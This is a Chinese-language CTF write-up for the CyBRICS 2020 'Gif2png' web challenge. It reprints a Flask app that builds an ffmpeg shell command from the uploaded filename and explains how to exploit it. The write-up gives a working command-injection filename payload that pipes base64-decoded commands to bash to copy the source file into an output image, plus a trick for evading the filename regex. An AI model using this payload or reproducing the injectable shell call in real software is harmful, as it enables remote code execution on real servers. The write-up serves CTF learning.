cybrics 2020-web Gif2png

这题还行,就是自己脑子一抽反向shell试了好久。。。。。。

main.py代码如下

  1 #!/usr/bin/python3
  2 import logging
  3 import re
  4 import subprocess
  5 import uuid
  6 from pathlib import Path
  7 
  8 from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
  9 from flask_bootstrap import Bootstrap
 10 import os
 11 from werkzeug.utils import secure_filename
 12 import filetype
 13 
 14 
 15 ALLOWED_EXTENSIONS = {'gif'}
 16 
 17 app = Flask(__name__)
 18 app.config['UPLOAD_FOLDER'] = './uploads'
 19 app.config['SECRET_KEY'] = '********************************'
 20 app.config['MAX_CONTENT_LENGTH'] = 500 * 1024  # 500Kb
 21 ffLaG = "cybrics{********************************}"
 22 Bootstrap(app)
 23 logging.getLogger().setLevel(logging.DEBUG)
 24 
 25 def allowed_file(filename):
 26     return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
 27 
 28 
 29 @app.route('/', methods=['GET', 'POST'])
 30 def upload_file():
 31     logging.debug(request.headers)
 32     if request.method == 'POST':
 33         if 'file' not in request.files:
 34             logging.debug('No file part')
 35             flash('No file part', 'danger')
 36             return redirect(request.url)
 37 
 38         file = request.files['file']
 39         if file.filename == '':
 40             logging.debug('No selected file')
 41             flash('No selected file', 'danger')
 42             return redirect(request.url)
 43 
 44         if not allowed_file(file.filename):
 45             logging.debug(f'Invalid file extension of file: {file.filename}')
 46             flash('Invalid file extension', 'danger')
 47             return redirect(request.url)
 48 
 49         if file.content_type != "image/gif":
 50             logging.debug(f'Invalid Content type: {file.content_type}')
 51             flash('Content type is not "image/gif"', 'danger')
 52             return redirect(request.url)
 53 
 54         if not bool(re.match("^[a-zA-Z0-9_-. '"=$()|]*$", file.filename)) or ".." in file.filename:
 55             logging.debug(f'Invalid symbols in filename: {file.content_type}')
 56             flash('Invalid filename', 'danger')
 57             return redirect(request.url)
 58 
 59         if file and allowed_file(file.filename):
 60             filename = secure_filename(file.filename)
 61             file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
 62 
 63             mime_type = filetype.guess_mime(f'uploads/{file.filename}')
 64             if mime_type != "image/gif":
 65                 logging.debug(f'Invalid Mime type: {mime_type}')
 66                 flash('Mime type is not "image/gif"', 'danger')
 67                 return redirect(request.url)
 68 
 69             uid = str(uuid.uuid4())
 70             os.mkdir(f"uploads/{uid}")
 71 
 72             logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"")
 73 
 74             command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)
 75             command.wait(timeout=15)
 76             logging.debug(command.stdout)
 77 
 78             flash('Successfully saved', 'success')
 79             return redirect(url_for('result', uid=uid))
 80 
 81     return render_template("form.html")
 82 
 83 
 84 @app.route('/result/<uid>/')
 85 def result(uid):
 86     images = []
 87     for image in os.listdir(f"uploads/{uid}"):
 88         mime_type = filetype.guess(str(Path("uploads") / uid / image))
 89         if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
 90             images.append(image)
 91 
 92     return render_template("result.html", uid=uid, images=images)
 93 
 94 
 95 @app.route('/uploads/<uid>/<image>')
 96 def image(uid, image):
 97     logging.debug(request.headers)
 98     dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
 99     return send_from_directory(dir, image)
100 
101 
102 @app.errorhandler(413)
103 def request_entity_too_large(error):
104     return "File is too large", 413
105 
106 
107 if __name__ == "__main__":
108     app.run(host='localhost', port=5000, debug=False, threaded=True)

逻辑简单,gif转换成png。第21行是flag,需要我们去读取。第74行是关键,

subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png"", shell=True)等价于
subprocess.Popen(["/bin/sh","-c",f"ffmpeg -i 'uploads/{file.filename}' "uploads/{uid}/%03d.png""])
文件名是用户可控的,很明显可以RCE
pyload:1'||{command}||'.gif
中间填自己的命令但要注意有正则匹配,所以我采用base64执行命令。
单引号用于闭合,有if校验文件扩展名,必须是gif结尾。


上传一个gif文件后,gif转换成了多个png。命令执行之后是不会有回显的,我的思路就是把main.py写入到转换之后的png中,
然后再通过wget下载图片,用cat查看内容



cat main.py >> ./uploads/5c6a1d9a-3ef1-41a5-bf77-7241b5287c76/002.png编码之后就是

Y2F0IG1haW4ucHkgPj4gLi91cGxvYWRzLzVjNmExZDlhLTNlZjEtNDFhNS1iZjc3LTcyNDFiNTI4N2M3Ni8wMDIucG5n

所以最后的payload就是:1'||echo 'Y2F0IG1haW4ucHkgPj4gLi91cGxvYWRzLzVjNmExZDlhLTNlZjEtNDFhNS1iZjc3LTcyNDFiNTI4N2M3Ni8wMDIucG5n'|base64 -d|bash ||'.gif

需要注意的是base64编码可能会生成被正则限制的'+',可以通过在命令中加空格处理掉

文件名替换成payload上传,之后下载相应图片并查看就能看到flag

原文地址:https://www.cnblogs.com/remon535/p/13378925.html